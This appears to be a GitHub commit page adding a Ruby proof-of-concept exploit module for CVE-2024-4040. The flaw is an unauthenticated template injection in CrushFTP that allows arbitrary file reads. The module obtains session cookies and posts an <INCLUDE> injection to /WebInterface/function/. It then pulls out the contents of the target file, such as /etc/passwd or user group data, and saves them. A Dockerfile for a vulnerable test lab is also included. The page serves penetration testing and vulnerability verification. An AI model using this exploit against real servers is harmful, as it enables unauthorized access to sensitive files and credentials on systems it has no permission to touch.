Skip to content

Commit

Permalink
Added a PoC for CVE-2024-4040 (closes #16).
Browse files Browse the repository at this point in the history
  • Loading branch information
postmodern committed Jun 27, 2024
1 parent 5f7eb88 commit f6ce507
Showing 1 changed file with 173 additions and 0 deletions.
173 changes: 173 additions & 0 deletions exploits/crushftp/CVE-2024-4040.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,173 @@
#!/usr/bin/env -S ronin-exploits run -f

require 'ronin/exploits/web'
require 'ronin/exploits/mixins/loot'

module Ronin
module Exploits
#
# A Proof-of-Concept exploit for CVE-2024-4040.
#
# * https://github.com/1ncendium/CVE-2024-4040/blob/5e7c7a34827b39a29c62f240912ac218df764838/exploit.py
# * https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability/blob/8fbb976af2b92cdcd7dce5e6baf72e57b099e3bf/exploit.py
# * https://github.com/airbus-cert/CVE-2024-4040/blob/8e6652ae88065e0cc6cd0da8d479a40c249274d4/scan_host.py
#
# ## Improvements
#
# * Obtains the anonymous session cookie via `GET /WebInterface/`, not
# `/WebInterface/login.html`.
# * Uses a better regex to extract the included file from the XML response.
#
# ## Vertification
#
# ```
# FROM ubuntu:latest
# WORKDIR /var/opt
# RUN apt-get update -qq && \
# apt-get install -qq -y unzip wget openjdk-17-jre-headless && \
# wget -q https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip && \
# unzip CrushFTP10.zip
#
# EXPOSE 21
# EXPOSE 8080
# EXPOSE 443
# EXPOSE 2222
# WORKDIR /var/opt/CrushFTP10
# CMD ["java", "-Xmx1024m", "-jar", "CrushFTP.jar", "-d"]
# ```
#
# ```
# $ docker built -t vuln-crushftp .
# $ docker run --rm -p 2121:21 -p 4443:443 -p 8080:8080 -p 9090:9090 -p 2222:2222 vuln-crushftp
# ```
#
# ```
# $ bundle exec ./exploits/crushftp/CVE-2024-4040.rb -p base_url=http://localhost:8080 -p file=/etc/passwd
# ```
#
# **Note:** it takes more than a minute for `CrushFTP.jar` to fully boot up.
#
class CVE_2024_4040 < Web

include Mixins::Loot

register 'CVE-2024-4040'

quality :tested
release_date '2024-05-13'
disclosure_date '2024-04-26'
advisory 'CVE-2024-4040'
advisory 'GHSA-46vf-c8gj-2pgq'

author "Postmodern", email: "[email protected]"
summary "Arbitrary File Read in CrushFTP < 10.7.1 and 11.1.0"
description <<~DESC
CrushFTP versions before 10.7.1 and 11.1.0 are vulnerable to an
unauthenticated server side template injection vulnerability that allows
reading arbitrary files outside of the VFS Sandbox.
POST /WebInterface/function/
command=exists&paths=<INCLUDE>FILE_HERE</INCLUDE>&c2f=...
DESC
references [
"https://github.com/1ncendium/CVE-2024-4040",
"https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability",
"https://github.com/airbus-cert/CVE-2024-4040"
]

param :file, default: 'users/MainUsers/groups.XML',
desc: 'The file to read'

#
# Test whether the target system is vulnerable.
#
def test
unless (cookie = session_cookie)
return Unknown("could not obtain session cookies")
end

file = params[:file]
injection = "<INCLUDE>#{file}</INCLUDE>"

response = http_post(
'/WebInterface/function/', cookie: cookie,
form_data: {
'command' => 'exists',
'paths' => injection,
'c2f' => cookie['currentAuth']
}
)

if response.code == '200'
if response.content_type == 'text/xml'
if response.body.include?('<commandResult>')
Vulnerable('host is vulnerable')
else
NotVulnerable('host is patched')
end
else
Unknown("did receive an XML response: #{response.content_type}")
end
else
Unknown("did not return HTTP 200: #{response.code}")
end
end

#
# Obtains the `currentAuth` cookie using {#session_cookie} and then sends
# a HTTP POST to `/WebInterface/function/` with the cookie and form params
# with the `<INCLUDE>FILE_HERE</INCLUDE>` Server-Side Template Injection.
#
def launch
unless (cookie = session_cookie)
fail("could not obtain the session cookies")
end

file = params[:file]
injection = "<INCLUDE>#{file}</INCLUDE>"

response = http_post(
'/WebInterface/function/', cookie: cookie,
form_data: {
'command' => 'exists',
'paths' => injection,
'c2f' => cookie['currentAuth']
}
)

if response.code == '200'
if response.content_type == 'text/xml'
if (match = response.body.match(%r{<response>(.+?)\r\n:false</response>}m))
loot.add(file,match[1])
else
fail("could not extract the included file from the response body: #{response.body.inspect}")
end
else
fail("did not receive a valid XML response: #{response.content_type}")
end
else
fail("POST #{params[:base_url]}/WebInterface/function/ returned HTTP #{response.code}")
end
end

#
# Sends a HTTP GET request to `/WebInterface/` and returns the
# `currentAuth` and `CrushAuth` cookie values.
#
# @return [Hash, nil]
#
def session_cookie
if (cookies = http_get_cookies('/WebInterface/'))
# NOTE: CrushFTP sends the currentAuth and crushAuth cookie values in
# two separate Set-Cookie headers.
{
'currentAuth' => cookies[0]['currentAuth'],
'CrushAuth' => cookies[1]['CrushAuth']
}
end
end

end
end
end

0 comments on commit f6ce507

Please sign in to comment.